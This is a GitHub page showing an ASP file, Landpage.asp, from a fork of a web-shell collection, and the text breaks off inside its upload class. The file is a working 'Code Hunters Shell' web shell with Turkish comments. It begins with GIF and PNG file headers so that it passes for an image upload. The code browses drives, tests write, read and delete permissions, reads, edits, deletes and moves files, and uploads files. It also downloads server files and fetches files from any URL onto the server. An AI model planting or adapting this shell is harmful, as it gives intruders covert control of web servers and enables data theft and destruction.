forked from mr-solo007/Asp-Web-Shells
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathLandpage.asp
1555 lines (1236 loc) · 44 KB
/
Landpage.asp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
GIF89;a
‰PNG
<%@Language = VbScript CodePage = 1254%>
<%
' ####
' ### Code Hunters TIM/Asi_besiktasli Tarafyndan Cyber-Warrior.Org için yazylmy?tyr. / 14.07.2011
' ### Misyon Dahilinde Kullanmanyz Dile?iyle...
' ####
'Karakter Kodlamasy
Session.CodePage=1254
%>
<html>
<head>
<title>Code Hunters Shell</title>
<meta http-equiv="Content-Type" content="text/html; charSet=iso-8859-9">
</head>
<style type="text/css">
body, table{
background-color:#000;
color:#00ff00;
font-family:Verdana, Geneva, sans-serif;
font-size:12px;
}
#baslik{
font-family:Verdana, Geneva, sans-serif;
font-size:18px;
font-weight:bold
}
#drivers{
font-weight:bold
}
a{
color:#00ff00;
text-decoration:none
}
a:hover{
color:#F00;
text-decoration:overline underline
}
input{
font-family:tahoma;
background-color:#000;
color:#00ff00
}
div#path{
position:fixed;
top:0px;
left:0px;
width:100%;
background-color:#000;
height:55px;
font-size:10px;
z-index:5;
font-weight:bold;
color:#00ff00;
padding-left:5px;
font-size:12px;
font-family:tahoma
}
* html div#path{
position: absolute !important;
top: expression(((document.documentElement.scrollTop || document.body.scrollTop) + this.offsetHeight-90) + ""px"");
left:0px;
width:100%;
background-color:#000;
height:25px;
font-size:10px;
z-index:5;
font-weight:bold;
color:#00ff00;
padding-left:5px
}
</style>
<script>
function CodeHuntersPopup(){
yeniPencere = window.open('', 'hakkimizda','height=500,width=600,resizable=0,status=0,left=100,top=50,scrollbars=0,menubar=0,toolbar=0');
yeniPencere.document.write('<title>Code Hunters TIM - Asi_Besiktasli</title><style type="text/css">body{background-color:#000;color:#00ff00;font-family:Verdana, Geneva, sans-serif;font-size:12px;}</style> By Cyber-Warrior Code Hunters TIM , Codded by Code Hunters TIM for Cyber-Warrior users. We wish good use...')}
</script>
<body>
<br><br><br><br>
<div id="baslik" align="center"><img src="http://teknolojiport.org/1.jpg" style="cursor:pointer" alt="Hakkymyzda" title="Hakkymyzda" onclick="CodeHuntersPopup()"></div><br>
<br>
<%
'Dosya Yolu Urlden Çekiliyor / karakteri \ karakteri olarak de?i?tiriliyor
Path=Replace(Request.QueryString("Path"),"/","\")
islem=Request.QueryString("islem")
'Fso nesnesini olu?turuyoruz.
Set Fso=Server.Createobject("Scripting.FileSystemObject")
'E?er dosyayolu bo? ise dosya yolu shellimizin bulundu?u klasöre ayarlanyyor
If Path="" Then
Path = Server.Mappath("/")
ElseIf FSO.FolderExists(Path)=false Then
If islem="" Then
Path = FSO.GetParentFolderName(path)
End If
End If
'Code Hunters TIM 2011
If islem="" And Not Right(Path,1)="\" Then
Path = Path & "\"
End If
If islem<>"" Then
Dizin = Mid(Path,1,Instrrev(Path,"\"))
Else
Dizin = Path
End If
' Sayfanyn Üstünde Sabit Duracak Olan Dizin Formu yazdyrylyyor
Response.Write("<div id=""path""><form action=""?islem=git"" method=""post""> Bulundu?unuz Dizin <input type=""text"" name=""path"" size=""90"" value="""&Dizin&"""><input type=""submit"" value=""Git""> <a href=""?islem=Upload&Path="&Path&""">Upload</a> | <a href=""?islem=Search&Path="&Path&""">Dosya Arama</a> | <a href=""?islem=Dosyaindir&Path="&Path&""">Dosya Indir</a></form><a href=""?Path="" style=""font-weight:bold;text-decoration:underline"">ROOT(Ana Klasör)</a>")&vbcrlf
' Fso ile Serverdaki Sürücülere Ula?yyoruz
Set Suruculer = FSO.Drives
If Not islem="Drivers" Then
Response.Write " || <span id=""drivers""><a href=""?islem=Drivers"" style=""text-decoration:underline"">Sürücüler:</a> </span>"
' Serverda ki Mevcut Sürücüler Yazdyrylyyor
For Each Surucu in Suruculer
Response.Write ("<a href=""?Path="&Surucu.DriveLetter&":"" style=""text-decoration:underline"">"&Surucu.DriveLetter&":\</a> ")&vbcrlf
Next
End If
On Error GoTo 0
On Error Resume Next
Response.Write(" Klasör izinleri: ")
'A?a?yda önce geçici bir dosya olu?turacaz olu?turabiliyor ise yazma yetkisi var yazacak. Dosyayy okuyabiliyosa okuma yetkisi var yazacak. Dosyayy silebiliyorsa silme yetkisi var yazacak.
'Yazma Yetkisi
Set DosyaOlustur = Fso.CreateTextFile(Dizin & "\CodeHunters.txt", True)
Set DosyaOlustur = Nothing
'Hata verirse yazma yetkisi yok, Hata vermezse yazma yetkisi var
If Err<>0 then
Response.Write "Yazma Yetkisi Yok | "
Else
Response.Write "Yazma Yetkisi Var | "
End If
' E?er Yazma Yetkisinde Hata verirse silme yetkisinde vermemesi için a?a?ydaki kodlary yazyyoruz
On Error GoTo 0
On Error Resume Next
'Okuma Yetkisi
'Dosyayy okumak için açyyoruz
'Hata verirse okuma yetkisi yok, Hata vermezse okuma yetkisi var
Set DosyaOku= Fso.OpenTextFile(Dizin & "\CodeHunters.txt")
Set DosyaOku=Nothing
If Err<>0 then
Response.Write "Okuma Yetkisi Yok | "
Else
Response.Write "Okuma Yetkisi Var | "
End If
On Error GoTo 0
On Error Resume Next
'Silme Yetkisi
'Olu?turulan Geçici Dosya Siliniyor
'Hata verirse silme yetkisi yok hata vermezse silme yetkisi var
Fso.DeleteFile Dizin&"\CodeHunters.txt",true
If Err<>0 then
Response.Write "Silme Yetkisi Yok "
Else
Response.Write "Silme Yetkisi Var "
End If
On Error GoTo 0
On Error Resume Next
Response.Write("</div>")&vbcrlf
' islem De?i?kenine Göre Farkly Sayfalar Çykarylyyor
Select Case islem
Case "git"
'Dizin formu bu sayfaya yollanyyor. Bu sayfada formdan gelen bilgiye göre kullanycyyy yönlendiriyor
If Len(Request.Form("path"))>0 Then
Response.Redirect("?Path="&Request.Form("path"))
End If
Case ""
' Urlden alynan Path Hazyr hale getiriliyor
Set Klasor = FSO.GetFolder(Path)
' Dizindeki Alt Klasörler Çekiliyor
Set AltKlasorler = Klasor.SubFolders
' Dizindeki Dosyalar Çekiliyor
Set Dosyalar = Klasor.Files
'Üst Klasör Varsa Link Ayarlanyyor
If Klasor.IsRootFolder = False Then
Set UstKlasor = Klasor.ParentFolder
Response.Write "<br><a href=""?Path="& UstKlasor.Path &""">< Üst Klasöre Git</a>"
End If
Response.Write(" <b>"& Klasor.Path &"</b> | <a href=""?islem=CreateFolder&Path="&Path&""">Klasör Olu?tur</a> | <a href=""?islem=CreateFile"">Dosya Olu?tur</a>" & vbCrLf)
Response.Write("<table width=""95%"" cellpadding=""4"" cellspacing=""1"" >")%><br><br>
<tr style="font-weight:bold; background-color:#484848">
<td width="30" class="baslik">Isim</TD><td width="15%" class="baslik">Dosya Boyutu</TD><td width="25%" class="baslik">Tür</TD><td width="35%" class="baslik">Y?lem</TD>
</tr>
<%
' Dizindeki Alt Klasörleri Yazdyryyoruz
For Each AltKlasor In AltKlasorler
With Response
.Write("<tr style=""background-color:#313131"" onmouseover=""this.style.background='#444444'"" onmouseout=""this.style.background='#313131'""><td><a href=""?Path="& AltKlasor.Path &""" style=""display:block"">"& AltKlasor.Name &"</a></td>") & vbCrLf
.Write("<td></td><td>Dosya Klasörü</td>") & vbCrLf
.Write("<td><a href=""?islem=FolderRename&path="&AltKlasor.Path&""">Isim De?i?tir</a> | <a href=""?islem=FolderMove&Path="&AltKlasor.Path&""">Ta?y</a> | <a href=""?islem=FolderCopy&Path="&AltKlasor.Path&""">Kopyala</a> | <a href=""?islem=FolderDelete&Path="&AltKlasor.Path&""">Sil</a></td></tr>")
End With
Next
' Dizindeki Dosyalary Yazdyryyoruz
For Each Dosya In Dosyalar
With Response
.Write "<tr style=""background-color:#3F3F3F"" onmouseover=""this.style.background='#4B4B4B'"" onmouseout=""this.style.background='#3F3F3F'"">" & vbCrlf
.Write "<td class=""doslist""><a href=""?islem=Read&Path="& Dosya.path &""" style=""display:block"">"&Dosya.name&"</a></td>" & vbCrlf
.Write "<td>"& Round(Dosya.Size / 1024) &" KB</td>" & vbCrlf
.Write "<td>"& Dosya.Type &"</td>" & vbCrlf
.Write "<td><a href=""?islem=Edit&path="&Path&"\"&Dosya.Name&""">Düzenle</a> | <a href=""?islem=FileRename&path="&Path&"\"&Dosya.Name&""">Isim De?i?tir</a> | <a href=""?islem=FileMove&Path="&Dosya.Path&""">Ta?y</a> | <a href=""?islem=FileCopy&Path="&Dosya.Path&""">Kopyala</a> | <a href=""?islem=indir&dosya="&Dosya.Path&""">Indir</a> | <a href=""?islem=FileDelete&Path="&Dosya.Path&""">Sil</a></td>" & vbCrlf
.Write "</tr>"
End With
Next
Response.Write("</table>")
' Driver i?lemleri sayfasy
Case "Drivers"
Set Suruculer = FSO.Drives
' Driver ÖZellikleri
Dim Drive_Type
Drive_Type = Array("Bilinmeyen","Çykarylabilir Disk","Sabit Disk","A? Sürücüsü","CD-ROM","RAM-Disk")
Response.Write("<table><tr><td valign=""top""><br><span id=""drivers"">Sürücüler: </span></td>")&vbcrlf
'Bütün Driverlery okumak için döngü kuruluyor
For Each Surucu in Suruculer
Response.Write ("<td valign=""top""><table><tr><td><a href=""?Path="&Surucu.DriveLetter&":\"">"&Surucu.DriveLetter&":\</a></td></tr>")&vbcrlf
Response.Write("<tr><td>"&Drive_Type(Surucu.DriveType))&vbcrlf
'E?er sürücü hazyrsa i?lemleri yap
If Surucu.isready Then
Response.Write(" ("&Surucu.VolumeName&")</td></tr>")&vbcrlf
Response.Write("<tr><td >Dosya Sistemi: "&Surucu.FileSystem&"</td></tr>")&vbcrlf
toplamalan = (Surucu.TotalSize / 1048576)
bosalan = (Surucu.AvailableSpace / 1048576)
Response.Write("<tr><td style=""border:solid 1px""><table height=""10"" width="""&(99-int(bosalan/toplamalan*100))&"%"" cellspacing=""0"" cellpadding=""0"" ><tr><td style=""background-color:#0099FF;color:#fff;font-size:10px;font-weight:bold"">%"&(100-int(bosalan/toplamalan*100))&"</td></tr></table></td></tr>")
Response.Write("<tr><td>Toplam Kapasite: "&Round(toplamalan,1) & " MB</td></tr>")&vbcrlf
Response.Write("<tr><td>Bo? Alan: "&Round(bosalan,1) & " MB</td></tr>")&vbcrlf
End If
Response.Write("</table></td>")
Next
'---
' Dosya içeri?ini görüntüleme sayfasy
Case "Read"
' E?er dosya yoksa hata ver i?lemi durdur
If FSO.FileExists(Path)= False Then
Response.Write("Dosya Bulunamady")
Response.End
End If
'Dosyayy hazyr hale getiriliyor
Set qa = Fso.GetFile(Path)
Response.Write("<br>"&qa.path&" içeri?i<br><br><hr><code>")
'Dosya açylyyor
Set Ag = qa.OpenAsTextStream(1,0)
'Dosya Bo?sa Hata Vermesi Engelleniyor
If Ag.AtEndOfStream Then
Kod=""
Else
'Readall komutuyla dosyanyn içeri?i okunuyor
kod = Server.HTMLEncode(ag.ReadAll)
End If
' Readall komutuyla dosya içeri?ini çekince düz yazy ?eklinde geldi?inden satyrlara bölmek için split komutu ile vbcrlf karakteri görülen yerlerden parçalama i?lemi yapyyoruz
icerik = Split(kod,vbcrlf)
'Split ile parçalanan bölümleri aralaryna <br> ekleyerek satyr haline getiriyoruz
For x=1 to Ubound(icerik)
Response.Write(icerik(x))&"<br>"&vbcrlf
Next
Response.Write("</code><hr>")
'---
' Text, Asp, Php Gibi Uzantyly Yazy Içerikli Dosyalaryn Içeri?ini Düzenleyen Sayfa)
Case "Edit"
If Request.QueryString("action")=1 Then
'Dosyanyn varly?y kontrol ediliyor
If FSO.FileExists(Path)= False Then
Response.Write("Dosya Bulunamady")
Response.End
End If
'Dosya hazyr hale getiriliyor
Set qa = Fso.GetFile(Path)
'Dosya açylyyor
Set Ag = qa.OpenAsTextStream(2,0)
'Dosya içeri?ine formdan yollanan yazy yazylyyor
Ag.WriteLine(Request.Form("texticerik"))
Response.Write(qa.Name&" Kayyt Edildi")
Ag.Close
Else
'Dosyanyn varly?y kontrole ediliyor
If FSO.FileExists(Path)= False Then
Response.Write("Dosya Bulunamady")
Response.End
End If
'Dosya hazyr hale getiriliyor
Set qa = Fso.GetFile(Path)
Response.Write("<br>"&qa.Name&" içeri?i<br>")
'Dosya açylyyor
Set Ag = qa.OpenAsTextStream(1,0)
'Dosya Bo?sa Hata vermesi Engelleniyor
If Ag.AtEndOfStream Then
Kod=""
Else
'Dosya içeri?i okunuyor kod de?i?kenine aktarylyyor
Kod = Server.HTMLEncode(ag.ReadAll)
End If
Ag.Close
Response.Write("<form action=""?islem=Edit&path="&path&"&action=1"" method=""post""><textarea name=""texticerik"" cols=""80"" rows=""25"">"&kod&"</textarea><br><input type=""submit"" value=""Kaydet""></form>")
End If
'Dosya Ismi De?i?tirme Sayfasy
Case "FileRename"
If Request.QueryString("action")=1 Then
NewName=Request.Form("NewName")
'Dosya hazyr hale getiriliyor
Set FileRename = FSO.GetFile(Path)
' Dosyaya Yeni isim veriliyor
FileRename.Name=Trim(NewName)
Response.Write("<br>Dosya ismi <b>"&Trim(NewName)&"</b> Olarak De?i?tirildi")
Else
oldname=Mid(Path,Instrrev(path,"\")+1,Len(path))
Response.Write("<br><form action=""?islem=FileRename&path="&path&"&action=1"" method=""post""><table><tr><td>Mevcut Isim: </td><td>"&oldname&"</td></tr><tr><td>Yeni isim: </td><td><input type=""text"" name=""newname""></td><tr><tr><td><input type=""submit"" value=""Kaydet""></td></tr></table></form>")
End If
'Klasör Ismi De?i?tirme Sayfasy
Case "FolderRename"
If Request.QueryString("action")=1 Then
NewName=Request.Form("NewName")
'Klasör hazyr hale getiriliyor
Set FolderRename = FSO.GetFolder(Path)
'Klasöre yeni isim veriliyor
FolderRename.Name=Trim(NewName)
Response.Write("<br>Dosya ismi <b>"&Trim(NewName)&"</b> Olarak De?i?tirildi")
Else
oldname=Mid(Path,Instrrev(Left(path,Len(Path)-1),"\")+1,Len(path))
Response.Write("<br><form action=""?islem=FolderRename&path="&path&"&action=1"" method=""post""><table><tr><td>Mevcut Isim: </td><td>"&oldname&"</td></tr><tr><td>Yeni isim: </td><td><input type=""text"" name=""newname""></td><tr><tr><td><input type=""submit"" value=""Kaydet""></td></tr></table></form>")
End If
'Klasör Ta?yma Sayfasy
Case "FolderMove"
'Klasörün varly?y kontrol ediliyor
If FSO.FolderExists(Path)=False Then
Response.Write("<br>Klasör Bulunamady")
Response.End
End If
If Request.QueryString("action")=1 Then
Set KlasorTasi = FSO.GetFolder(Path)
Hedef=Request.Form("hedef")
'Klasör Ta?ynyyor
KlasorTasi.Move Hedef
Response.Write "Klasör "& Hedef & " Dizinine Ta?yndy"
Else
Response.Write Path&" Klasörünü Ta?y<br><br><form action=""?islem=FolderMove&action=1&Path="&Path&""" method=""post""><b>Ta?ynacak Dizin: </b><input type=""text"" name=""hedef"" value="""&Dizin&""" size=50><br><input type=""submit"" value=""Ta?y"" style=""width:100px""></form>"
End If
'Klasör Kopyalama Sayfasy
Case "FolderCopy"
'Dosyanyn varly?y kkontrol ediliyor
If FSO.FolderExists(Path)=False Then
Response.Write("<br>Klasör Bulunamady")
Response.End
End If
If Request.QueryString("action")=1 Then
'Dosya hazyr hale getiriliyor
Set KlasorKopyala = FSO.GetFolder(Path)
Hedef=Request.Form("hedef")
'Dosya kopyalanyyor
KlasorKopyala.Copy Hedef
Response.Write "Klasör "& Hedef & " Dizinine Kopyalandy"
Else
Response.Write "<form action=""?islem=FolderCopy&action=1&Path="&Path&""" method=""post""><b>Kopyalanacak Dizin: </b><input type=""text"" name=""hedef"" value="""&Path&""" size=50><br><input type=""submit"" value=""Ta?y"" style=""width:100px""></form>"
End If
'
'Dosya Kopyalama Sayfasy
Case "FileCopy"
If FSO.FileExists(Path)=False Then
Response.Write("<br>Dosya Bulunamady")
Response.End
End If
Set DosyaTasi = FSO.GetFile(Path)
If Request.QueryString("action")=1 Then
Set DosyaKopyala = FSO.GetFile(Path)
Hedef=Request.Form("hedef")
DosyaKopyala.Copy Hedef
Response.Write "Dosya "& Hedef & " Dizinine Kopyalandy"
Else
Response.Write "<form action=""?islem=FileCopy&action=1&Path="&Path&""" method=""post""><b>Kopyalanacak Dizin: </b><input type=""text"" name=""hedef"" value="""&Path&""" size=50><br><input type=""submit"" value=""Ta?y"" style=""width:100px""></form>"
End If
'Dosya Ta?yma Sayfasy
Case "FileMove"
'Dosyanyn varly?y kontrol ediliyor
If FSO.FileExists(Path)=False Then
Response.Write("<br>Dosya Bulunamady")
Response.End
End If
'Dosya kullanym için hazyr hale getiriliyor
Set DosyaTasi = FSO.GetFile(Path)
If Request.QueryString("action")=1 Then
Hedef=Request.Form("hedef")
'Dosya ta?ynyyor
DosyaTasi.Move Hedef
Response.Write "Dosya "& Hedef & " Dizinine Ta?yndy"
Else
Response.Write Path&" Dosyasyny Ta?y<br><br><form action=""?islem=FileMove&action=1&Path="&Path&""" method=""post""><b>Ta?ynacak Dizin: </b><input type=""text"" name=""hedef"" value="""&DosyaTasi.ParentFolder&""" size=50><br><input type=""submit"" value=""Ta?y"" style=""width:100px""></form>"
End If
'Dosya Silme Sayfasy
Case "FileDelete"
'Dosyanyn varly?y kontrol ediliyor
If FSO.FileExists(Path)=False Then
Response.Write("<br>Dosya Bulunamady")
Response.End
End If
'Dosya kullanyma hazyr hale getiriliyor
Set DosyaSil = FSO.GetFile(Path)
If Request.QueryString("action")=1 Then
'Dosya siliniyor
DosyaSil.Delete
Response.Write "Dosya Silindi.<br><br><a href=""?Path="&Mid(Path,1,InStrRev(Path,"\"))&""">Geri Dön</a>"
Else
Response.Write("<b>"&Path&"</b><br>Dosyasyny Gerçekten Silmek Istiyor musunuz? <a href=""?islem=FileDelete&action=1&Path="&Path&""">Sil</a> </a>")
End If
'Klasör Silme Sayfasy
Case "FolderDelete"
'Klasörün varly?y kontrol ediliyor
If FSO.FolderExists(Path)=False Then
Response.Write("<br>Klasör Bulunamady")
Response.End
End If
'Klasör hazyr hale getiriliyor
Set KlasorSil = FSO.GetFolder(Path)
If Request.QueryString("action")=1 Then
'Klasör siliniyor
KlasorSil.Delete
Response.Write "Klasör Silindi.<br><br><a href=""?Path="&Mid(Path,1,InStrRev(Path,"\"))&""">Geri Dön</a>"
Else
Response.Write("<b>"&Path&"</b><br>Klasörünü ve Içindeki Dosyalary Gerçekten Silmek Istiyor musunuz? <a href=""?islem=FolderDelete&action=1&Path="&Path&""">Sil</a> </a>")
End If
' Klasör Olu?turma Sayfasy
Case "CreateFolder"
If Request.QueryString("action")=1 Then
'Dosya olu?turuluyor
Fso.CreateFolder Path&"\"&Trim(Request.Form("foldername"))
Response.Write(Path&"\"&Trim(Request.Form("foldername"))&" Klasörü olu?turuldu")
Else
Response.Write("<form action=""?islem=CreateFolder&action=1&Path="&Path&""" method=""post"">Klasör ady: <input type=""text"" name=""foldername""><input type=""submit"" value=""Olu?tur""></form>")
End If
' Dosya Olu?turma Sayfasy
Case "CreateFile"
If Request.QueryString("action")=1 Then
DosyaAdi = Request.Form("filename")
'Klasörü Belirtiyoruz
Set Klasor = FSO.GetFolder(Path)
'Dosyayy Olu?turuyoruz
Set DosyaOlustur = Klasor.CreateTextFile(DosyaAdi)
'Dosya içeri?ini Yazdyyoruz
DosyaOlustur.Write(Request.Form("icerik"))
Response.Write(Path&"\"&DosyaAdi&" Dosyasy Olu?turuldu")
DosyaOlustur.Close
Set DosyaOlustur = Nothing
Else
Response.Write("<form action=""?islem=CreateFile&action=1&Path="&Path&""" method=""post"">Dosya ady ve uzantysy: <input type=""text"" name=""filename""><br><textarea name=""icerik"" cols=80 rows=25></textarea><br><input style=""width:500px"" type=""submit"" value=""Olu?tur""></form>")
End If
'upload Y?lemleri
Case "Upload"
Response.Buffer = True
Response.Expires = 0
Dim oFO, oProps, oFile, i, item, oMyName
Set oFO = New FileUpload
Set oProps = oFO.GetUploadSettings
with oProps
.UploadDirectory = Path ' dosyanyn yüklenece?i yer
.AllowOverWrite = true
End with
Set oProps = Nothing
oFO.ProcessUpload
If oFO.TotalFormCount > 0 Then
If oFO.FileCount > 0 Then
for i = 1 to oFO.FileCount
Set oFile = oFO.File(i)
If oFile.ErrorMessage <> "" Then
Response.Write "> HATA: " & _
oFile.ErrorMessage & "<BR>"
Else
oFile.SaveAsFile
If oFile.UploadSuccessful Then
Response.Write "> Basariyla Yüklendi<BR>"
Response.Write(" - Dosyanin su an bulundu?u URL:<a href="""&oFile.URLPath&"""><font color=""red"">"& oFile.URLPath & "</font></a><BR>")
Response.Write(" - Dosya tipi: " & oFile.ContentType & "<BR>")
Response.Write(" - Dosya ismi: " & oFile.FileName & "<BR>")
Response.Write(" - Dosya boyutu: " & _
round(formatnumber(oFile.ByteCount, 0)/1024,2) & " KByte<BR>")
Else
Response.Write "> Dosyayy yüklerken hata olu?tu: " & _
oFile.ErrorMessage & "<BR>"
End If
End If
Set oFile = Nothing
next
Else
Response.Write "> Daha önceden bu dosya ile ayni boyutta dosya yüklenmis. Bu durumda ayni dosyayi yüklüyor olabilirsiniz. Eger farkli bir dosya olduguna eminseniz; Dosya boyutunu büyültmek için küçük bir text dosyasini doldurarak zip'li dosyaya ekleyiniz."
End If
Response.Write "<BR><BR><A HREF=""?islem=Upload&Path="&Path&""">Tekrar Yükle</A>"
Else
oFO.ShowUploadForm
End If
Set oFO = Nothing
'Dosya Arama
Case "Search"
Server.ScriptTimeOut=99999
If Request.QueryString("action")="1" Then
Search=Request.Form("Search")
Response.Write "<table width=""95%"" cellpadding=""4"" cellspacing=""1"" align=""left"">"
Sub DosyaAra(KlasorYolu)
Set DosyaAraKlasor = Fso.GetFolder(KlasorYolu)
Set SearchSubFolders = DosyaAraKlasor.SubFolders
Set SearchFiles = DosyaAraKlasor.Files
For Each Dosyax In SearchFiles
If Instr(Dosyax.Name,Search)>0 Then
Response.Write "<tr style=""background-color:#3F3F3F"" onmouseover=""this.style.background='#4B4B4B'"" onmouseout=""this.style.background='#3F3F3F'""><td><a href=""?islem=Edit&Path="&Dosyax.Path&""">"&Dosyax.Path&"</a> </td><td>"&Dosyax.Type&"</td></tr>"
End If
Next
For Each AltKla In SearchSubFolders
If Instr(lcase(AltKla.Name),lcase(Search))>0 Then
Response.Write "<tr style=""background-color:#313131"" onmouseover=""this.style.background='#444444'"" onmouseout=""this.style.background='#313131'""><td><a href=""?Path="&AltKla.Path&""">"&AltKla.Path&"</a> </td><td>"&AltKla.Type&"</td></tr>"
End If
DosyaAra AltKla.Path
Next
End Sub
DosyaAra Path
Else
Response.Write "<form action=""?islem=Search&action=1&Path="&Path&""" method=""post"">Aranacak Dizin: "&Path&"<br><br>Dosya Adyny Veya Uzantysyny Yazyn <input type=""text"" name=""search""><input type=""submit"" value=""Ara""></form"
End If
'Dosya indirme sayfasy
Case "indir"
Response.Buffer = True
Dosya = Request.QueryString("dosya")
Response.Clear
Response.ContentType = "application/x-msdownload"
'response.contenttype="application/force-download"
Response.AddHeader "cache-control","private"
Response.AddHeader "content-transfer-encoding", "binary"
Response.AddHeader "content-disposition", "attachment; filename=" & Mid(dosya, instrrev(dosya, "\") + 1, Len(dosya) - instrrev(dosya, "\"))
Set Dosyaindir = Server.CreateObject("Adodb.Stream")
Dosyaindir.type = 1
Dosyaindir.Open
Dosyaindir.LoadFromFile Dosya
Response.BinaryWrite Dosyaindir.Read
Dosyaindir.Close
Set Dosyaindir = Nothing
Response.End
' Server'a Ba?ka Bir siteden dosya yükleme sayfasy
Case "Dosyaindir"
Url = Request.Form("url")
If Len(Trim(Url))=0 Then
Response.Write("<form action=""?islem=Dosyaindir&Path="&Path&""" method=""post"">Dosyanyn indirilece?i dizin: "&Path&"<br><br>Dosya url: <input type=""text"" name=""url""><input type=""submit"" value=""Indir""></form>")
Else
Set XmlHttp = Server.CreateObject("MSXML2.ServerXMLHTTP")
XmlHttp.Open "GET", Url, False
XmlHttp.Send
IndirilenDosya=XmlHttp.ResponseBody
Set BinaryStream = Server.CreateObject("ADODB.Stream")
BinaryStream.Type = 1
BinaryStream.Open
BinaryStream.Write IndirilenDosya
BinaryStream.SaveToFile Path&"\"&Right(Url,(len(Url)-instrrev(Url,"/"))), 2
Set XmlHttp = Nothing
Set BinaryStream = Nothing
Response.Write "<strong> Dosya "& Path&"\"&Right(Url,(len(Url)-instrrev(Url,"/"))) &"</strong> klasörüne indirildi."
End If
Case "ShellDelete"
FileName=Request.ServerVariables("SCRIPT_NAME")
Fso.DeleteFile Server.Mappath("\")&Replace(FileName,"/","\")
Response.Write("Shell Silindi...")
End Select
If Err.number<>0 Then
Response.Write("<br><br><b>"&Err.description&"</b>")
End If
%>
<br><br><br><br>
<center><a href="?islem=ShellDelete" onClick="return confirm('Code Hunters Shell i Gerçekten Silmek Istiyor musunuz?')"><u>Code Hunters Shelli Serverdan Sil</u></a><br>
<br><u>Code Hunters TIM © 2011 </u>
</center>
</body>
</html>
<%
'Uplaod Synyfy Ba?langyç
Class FileUpload
Private UploadRequest, oProps, iFrmCt
Private iKnownFileCount, iKnownFormCount
Private oOutFiles
'Class ba?latylynca çaly?acak sub
Private Sub Class_Initialize
iFrmCt = 0
Set oProps = New FO_Properties
Set UploadRequest = Server.CreateObject("Scripting.Dictionary")
iKnownFileCount = 0
iKnownFormCount = 0
Set oOutFiles = Server.CreateObject("Scripting.Dictionary")
End Sub
'Class biti?inde çaly?tyralacak sub
Private Sub Class_Terminate
Set oOutFiles = Nothing
Set UploadRequest = Nothing
Set oProps = Nothing
End Sub
Public Function GetUploadSettings()
Set GetUploadSettings = oProps
End Function
Public Property Get FormCount
FormCount = iKnownFormCount
End Property
Public Property Get FileCount
FileCount = iKnownFileCount
End Property
Public Property Get TotalFormCount
TotalFormCount = iFrmCt
End Property
'form ?ifreleme ayarlary
Private Function GetFormEncType()
Dim sContType, hCutOff
'Içerik ayary yapylyyor
sContType = Request.ServerVariables("CONTENT_TYPE")
hCutOff = instr(sContType, ";")
If hCutOff > 0 Then
